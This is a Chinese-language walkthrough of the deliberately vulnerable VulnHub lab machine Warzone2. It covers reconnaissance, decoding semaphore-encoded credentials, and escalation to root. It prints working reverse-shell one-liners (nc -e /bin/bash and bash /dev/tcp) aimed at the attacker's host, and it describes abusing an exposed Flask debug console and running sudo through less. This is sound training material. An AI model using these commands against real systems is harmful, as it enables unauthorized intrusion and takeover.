VULNHUB靶场—–Warzone2 – 作者:刚入圈的伯鉴-安全小百科

Vulnhub靶机渗透测试实战（二）：Warzone2

关于vulnhub

Vulnhub是一个特别好的渗透测试实战网站，提供了许多带有漏洞的渗透测试虚拟机下载

Warzone2 下载地址：http://www.vulnhub.com/entry/warzone-2,598/

安装好虚拟机后挂载Virtualbox运行

主机扫描

netdiscover -r 192.168.244.0/24

.1是物理机,.2是virtual box的网关，所以目标地址就是.3了

端口扫描

可以发现了三个端口

访问ftp

发现可以通过匿名的形式进行登录

Username.png

Password.png

Token.png

用户名和密码很明显的旗语加密

通过对照表进行解密

Username：semaphore

Pasword：signalperson

Hash：

833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26

Token：38333361643438383436346465316132376435313266313034623633393235386537373930316631346561623730363136333036336433343035346137623236

访问ssh

发现前面的密码并不能登录

访问1337

本来想要百度一下这个端口对应的漏洞有什么，结果并没有什么发现

那通过nc访问吧

root@kali:~# nc 192.168.244.3 1337

# WARZONE 2 # WARZONE 2 # WARZONE 2 #

{SECRET SYSTEM REMOTE ACCESS}

Username :semaphore

Password :signalperson

Token :833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26

Success Login

[SIGNALS] { ls, pwd, nc}

[semaphore] >

输入账号密码，hash成功登录

Ps：这里遇到了一个坑，本来提示的式token，结果试了好半天，居然是hash

反弹shell

看到提示，这里可以使用nc

kali

nc -lvvp 4444

靶机

nc -e /bin/bash 192.168.244.4 4444

过不凄然又是www权限，这里为了方便，重新通过bash反弹一个shell

Kali

nc -lvvp 5555

靶机

bash -i >& /dev/tcp/192.168.244.4/5555 0>&1

信息搜集

找到了flagman用户的密码

登录ssh

获取flag1

在该用户的桌面下发现一个flag

青铜？看来还得继续深入

1阶段提权

在passwd文件中发现存在一个admiral用户（管理员用户？）

确实是

通过sudo -l查看发现可以通过无密码以admiral身份执行一个文件

那就试试

发现开了一个5000端口的web服务，但是只针对127开放的，外界访问不到，我们需要进行端口转发才可以访问

5000端口？这不是python的flask吗，而且是开发环境，它里面是可以直接执行python代码的，路径是ip/console

端口转发

既然服务器开放了ssh，我们也有了一个用户和密码（flagman i_hate_signals!）,直接通过ssh进行端口转发

在kali中访问 http://127.0.0.1:5000/console

输入刚才启动程序的时候获取的pin

这里是一个python环境，通过python反弹shell

获取flag2

在admiral用户的桌面下发现了一个flag

银牌？还得继续深入

2阶段提权

虽然我们现在是可以使用sudo，但是我们没有admiral的密码，也是用不了sudo命令

刚才的用户给我们提示

继续sudo -l

可以发现可以通过无密码使用root身份使用这个命令，试一试

摩尔加密。。。

if you read this message means that you are in the warzone 2. i wish you good luck. remember the medals are not the real trophies. the real trophy is that you gain after solving this box. – alienum rules help your teammates never quit keep training

看来这还不是最终的flag，还是需要继续深入

继续提权

我们看一下刚才我们less查看文件的权限

我们确实是拿到了root的权限

Less的话是可以进行提权的，但是有一个要求是必须是交互式的shell

获取交互式shell

通过测试socat是可以使用的，socat可以创建交互式shell，创建的shell类似于ssh直接登录，非常好用